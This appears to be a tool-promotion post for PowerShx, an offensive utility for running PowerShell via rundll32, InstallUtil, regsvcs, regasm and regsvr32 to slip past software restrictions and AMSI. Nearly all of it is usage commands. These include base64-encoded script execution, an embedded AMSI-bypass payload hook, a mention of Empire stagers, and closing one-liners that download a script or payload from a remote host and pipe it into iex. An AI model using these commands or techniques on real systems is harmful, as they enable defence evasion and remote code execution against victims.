PowerShx: Run Powershell without software restrictions

by do son · Published September 20, 2021 · Updated September 20, 2021

PowerShx

PowerShx is a rewrite and expansion of the PowerShdll project. PowerShx provides functionalities for bypassing AMSI and running PS Cmdlets.

Features

Run Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe, or regasm.exe, regsvr32.exe.
Run Powershell without powershell.exe or powershell_ise.exe
AMSI Bypass features.
Run Powershell scripts directly from the command line or Powershell files
Import Powershell modules and execute Powershell Cmdlets.

Use

.dll version

rundll32

rundll32 PowerShx.dll,main -e <PS script to run>
rundll32 PowerShx.dll,main -f <path> Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console

Alternatives (Credit to SubTee for these techniques):

1.
x86 – C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 – C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll –>Calls DllUnregisterServer
regsvr32 /s PowerShx.dll –> Calls DllRegisterServer

.exe version

Embedded payloads

Payloads can be embedded by updating the data dictionary “Common.Payloads.PayloadDict” in the “Common” project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method:

private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}

Example

Run a base64 encoded script

rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(“BASE64”)) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(“BASE64”)) ^| iex

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode

Run a base64 encoded script

rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e “IEX ((new-object net.webclient).downloadstring(‘http://192.168.100/payload-http’))”